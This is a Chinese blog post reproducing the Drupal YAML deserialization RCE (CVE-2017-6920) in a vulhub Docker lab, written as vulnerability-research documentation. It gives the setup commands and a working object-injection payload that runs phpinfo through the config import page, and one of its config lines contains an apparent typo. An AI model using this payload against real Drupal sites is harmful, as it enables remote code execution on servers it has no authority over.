溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何進(jìn)行Drupal YAML 反序列化代碼執(zhí)行漏洞CVE-2017-6920復(fù)現(xiàn)

發(fā)布時間:2021-12-29 17:51:29 來源:億速云 閱讀:203 作者:柒染 欄目:安全技術(shù)

這篇文章將為大家詳細(xì)講解有關(guān)如何進(jìn)行Drupal YAML 反序列化代碼執(zhí)行漏洞CVE-2017-6920復(fù)現(xiàn),文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關(guān)知識有一定的了解。

Drupal是使用PHP語言編寫的開源內(nèi)容管理框架(CMF),它由由內(nèi)容管理系統(tǒng)和PHP開發(fā)框架共同構(gòu)成,在GPL2.0及更新協(xié)議下發(fā)布。連續(xù)多年榮獲全球最佳CMS大獎,是基于PHP語言最著名的WEB應(yīng)用程序。

2017年6月21日,Drupal官方發(fā)布了一個編號為CVE-2017- 6920 的漏洞,影響為Critical。這是Drupal Core的YAML解析器處理不當(dāng)所導(dǎo)致的一個遠(yuǎn)程代碼執(zhí)行漏洞。

漏洞影響范圍:   Drupal < 8.3.4

下面僅作漏洞復(fù)現(xiàn)記錄與實(shí)現(xiàn),利用流程如下:

一、漏洞環(huán)境

本次演示環(huán)境采用vulhub搭建,執(zhí)行以下命令搭建

cd /drupal/CVE-2017-6920/

docker-compose up -d

之后開啟了8080端口,訪問之后正常安裝即可,由于沒有mysql環(huán)境,所以安裝的時候可以選擇sqlite數(shù)據(jù)庫

安裝完畢之后還需要安裝yaml擴(kuò)展,首先執(zhí)行docker ps查看容器id

之后執(zhí)行docker exec -it a3df54b9def6 bash 進(jìn)入容器命令行后依次執(zhí)行以下命令

# 換鏡像源,默認(rèn)帶vim編輯器,所以用cat換源,可以換成自己喜歡的源
cat > sources.list << EOF
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-backports main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
EOF
# 安裝依賴
apt update
apt-get -y install gcc make autoconf libc-dev pkg-config
apt-get -y install libyaml-dev
# 安裝yaml擴(kuò)展
pecl install yaml
docker-php-ext-enable yaml.so
# 啟用 yaml.decode_php 否則無法復(fù)現(xiàn)成功
echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini
# 退出容器
exit
# 重啟容器,CONTAINER換成自己的容器ID
docker restart CONTAINER

之后便可以開始復(fù)現(xiàn)漏洞了

漏洞鏈接: http://192.168.101.152:8080/

訪問之后如下圖,注意,復(fù)現(xiàn)該漏洞需要登錄管理員賬戶

如何進(jìn)行Drupal YAML 反序列化代碼執(zhí)行漏洞CVE-2017-6920復(fù)現(xiàn)

二、漏洞復(fù)現(xiàn)

登錄一個管理賬戶

如何進(jìn)行Drupal YAML 反序列化代碼執(zhí)行漏洞CVE-2017-6920復(fù)現(xiàn)

訪問鏈接http://192.168.101.152:8080/admin/config/development/configuration/single/import

如何進(jìn)行Drupal YAML 反序列化代碼執(zhí)行漏洞CVE-2017-6920復(fù)現(xiàn)

之后Configuration type選擇為Simple configuration,Configuration name可以隨便填寫,Paste your configuration here中寫入poc:

!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"

如何進(jìn)行Drupal YAML 反序列化代碼執(zhí)行漏洞CVE-2017-6920復(fù)現(xiàn)

之后點(diǎn)擊左下角的Import按鈕便可以觸發(fā)漏洞

如何進(jìn)行Drupal YAML 反序列化代碼執(zhí)行漏洞CVE-2017-6920復(fù)現(xiàn)

復(fù)現(xiàn)結(jié)束。

關(guān)于如何進(jìn)行Drupal YAML 反序列化代碼執(zhí)行漏洞CVE-2017-6920復(fù)現(xiàn)就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI